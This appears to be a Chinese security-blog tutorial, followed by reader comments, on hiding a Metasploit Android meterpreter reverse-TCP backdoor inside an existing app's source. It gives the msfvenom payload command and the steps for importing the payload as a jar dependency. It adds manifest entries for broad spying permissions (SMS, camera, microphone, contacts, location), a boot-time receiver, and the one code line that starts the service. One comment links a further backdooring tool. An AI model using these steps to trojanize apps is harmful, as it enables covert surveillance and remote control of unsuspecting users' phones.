添加Metasploit-payload到已有的Android项目中

*本文原创作者:xiaohuanshu,本文属FreeBuf原创奖励计划,未经许可禁止转载

metasploit在写这篇文章之前,笔者可以说是对java一窍不通,也从来没有写过什么Android应用,在几天的摸爬滚打中终于实现了最终的目的,就是在已有Apk源码的情况下,用了比较另类的方式,添加metasploit后门。

同时支持java/scala两种语言写的项目,主要是为了给大家提供一些思路,如果哪里写的不准确,欢迎指正。

可能有人说,目前已经有各种各样的工具,比如backdoor-apk能够感染已编译好的Apk文件,但是经过笔者的测试,这种被感染后的文件使用起来不是很稳定,而且apktool本身有缺陷,导致很多apk反编译后无法重新编译。所以,既然有源码,为何要生成apk后再注入后门?

payload分析

首先使用msfvenom生成一个payload:

msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 R > payload.apk

使用apktool与dex2jar反编译:

apktool d payload.apk
d2j-dex2jar payload.apk

最后用jd-gui打开d2j-dex2jar生成出的payload-dex2jar.jar

添加Metasploit-payload到已有的Android项目中_第1张图片

结合AndroidManifest.xml分析源码后发现,Payload的服务为com.metasploit.stage.MainService,启动服务的方式有两种,一个是主Activity(android.intent.action.MAIN),也就是点击程序图标后运行的Activity,另一个是接收android.intent.action.BOOT_COMPLETED,也就是开机自动启动服务。

添加Metasploit-payload到已有的Android项目中_第2张图片

添加Metasploit-payload到已有的Android项目中_第3张图片

启动服务的代码为

MainService.startService(context);

也就是说,只要把启动服务的代码添加到项目源码中的相应位置,就可以实现添加后门。

笔者首先想将反编译后的java源码直接添加到项目中,但无奈编译不成功,在网上查找相关资料后发现,jd-gui反编译的jar文件本身就有问题,只能做参考。

如果直接用github上payload的源码,又不知道Payload的配置串是如何加密的。

最后突然想到,既然dex2jar已经将payload转换为了jar文件,那直接将jar作为依赖包导入到工程中不就行了。

导入jar包

Android Studio

拷贝payload-dex2jar.jar到app/libs目录下

打开app目录下的build.gradle,在dependencies中添加compile files(‘libs/payload-dex2jar.jar‘)

添加Metasploit-payload到已有的Android项目中_第4张图片

Sbt/scala

拷贝payload-dex2jar.jar到lib目录下下

修改AndroidManifest.xml

选择性添加添加以下权限

可以根据需要,选择性的添加所需要的权限

<uses-permission android:name="android.permission.INTERNET" />    
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />    
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />    
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />    
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />    
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />    
<uses-permission android:name="android.permission.READ_PHONE_STATE" />    
<uses-permission android:name="android.permission.SEND_SMS" />    
<uses-permission android:name="android.permission.RECEIVE_SMS" />    
<uses-permission android:name="android.permission.RECORD_AUDIO" />    
<uses-permission android:name="android.permission.CALL_PHONE" />    
<uses-permission android:name="android.permission.READ_CONTACTS" />    
<uses-permission android:name="android.permission.WRITE_CONTACTS" />    
<uses-permission android:name="android.permission.RECORD_AUDIO" />    
<uses-permission android:name="android.permission.WRITE_SETTINGS" />    
<uses-permission android:name="android.permission.CAMERA" />    
<uses-permission android:name="android.permission.READ_SMS" />    
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />    
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />    
<uses-permission android:name="android.permission.SET_WALLPAPER" />    
<uses-permission android:name="android.permission.READ_CALL_LOG"/>    
<uses-permission android:name="android.permission.WRITE_CALL_LOG"/>    
<uses-permission android:name="android.permission.WAKE_LOCK" />

<uses-feature android:name="android.hardware.camera" />    
<uses-feature android:name="android.hardware.camera.autofocus" />    
<uses-feature android:name="android.hardware.microphone" />

添加服务

<service android:name="com.metasploit.stage.MainService" android:exported="true" />

添加开机启动

如果需要添加开机启动,则必须添加android.permission.RECEIVE_BOOT_COMPLETED权限。

<receiver
      android:name="com.metasploit.stage.MainBroadcastReceiver"
      android:label="MainBroadcastReceiver">
      <intent-filter>
          <action android:name="android.intent.action.BOOT_COMPLETED" />
      intent-filter>
receiver>

修改源码,启动服务

java与scala相同,定位到Main Activity所在的文件中,添加import

import com.metasploit.stage.MainService;

在Activity的onCreate方法中,添加

MainService.startService(this);

添加Metasploit-payload到已有的Android项目中_第5张图片

添加Metasploit-payload到已有的Android项目中_第6张图片

编译、签名、测试

编译与签名的环节就略过了,最终的测试结果非常满意,无论是打开程序运行与开机自动运行都成功,并且连接很稳定

添加Metasploit-payload到已有的Android项目中_第7张图片

后记

通过导入jar包的方式添加后门也算是另类的方式了吧,不过也算很方便了,jar包只要生成一次,就可以当做一个依赖包添加到所有Android项目中。当然一定还有更好的方法,本文只是提供一个思路。

同时提醒大家留意来路不明的Apk文件,防止被安装后门,信息安全不容小视。

*本文原创作者:xiaohuanshu,本文属FreeBuf原创奖励计划,未经许可禁止转载

发表评论

已有 4 条评论

  • hkt  (2级) 403-Forbidden  2017-01-19 回复 1楼

    所以作者最后是直接修改目标APK的MainActivity源码咯 :?: 你这个目标APK是自己写的Debug模式下编译的吧。

    亮了( 2)
  • 补丁君  (2级) 你好,补丁君~专业开锁20年  2017-01-19 回复 2楼

    https://github.com/suraj-root/spade 拿走不谢~

    亮了( 3)
    • addison66  (3级) 大奶萌妹请私聊我  2017-01-19 回复

      @ 补丁君  还有backdoor-apk,不过楼主不喜欢自动化工具

      亮了( 0)
      • xiaohuanshu  (1级)  2017-01-19 回复

        @ addison66  我在文章中说了,这些自动化的工具都依赖apktool来反编译,然而apktool本身就有缺陷,导致很多apk不支持

你可能感兴趣的:(添加Metasploit-payload到已有的Android项目中)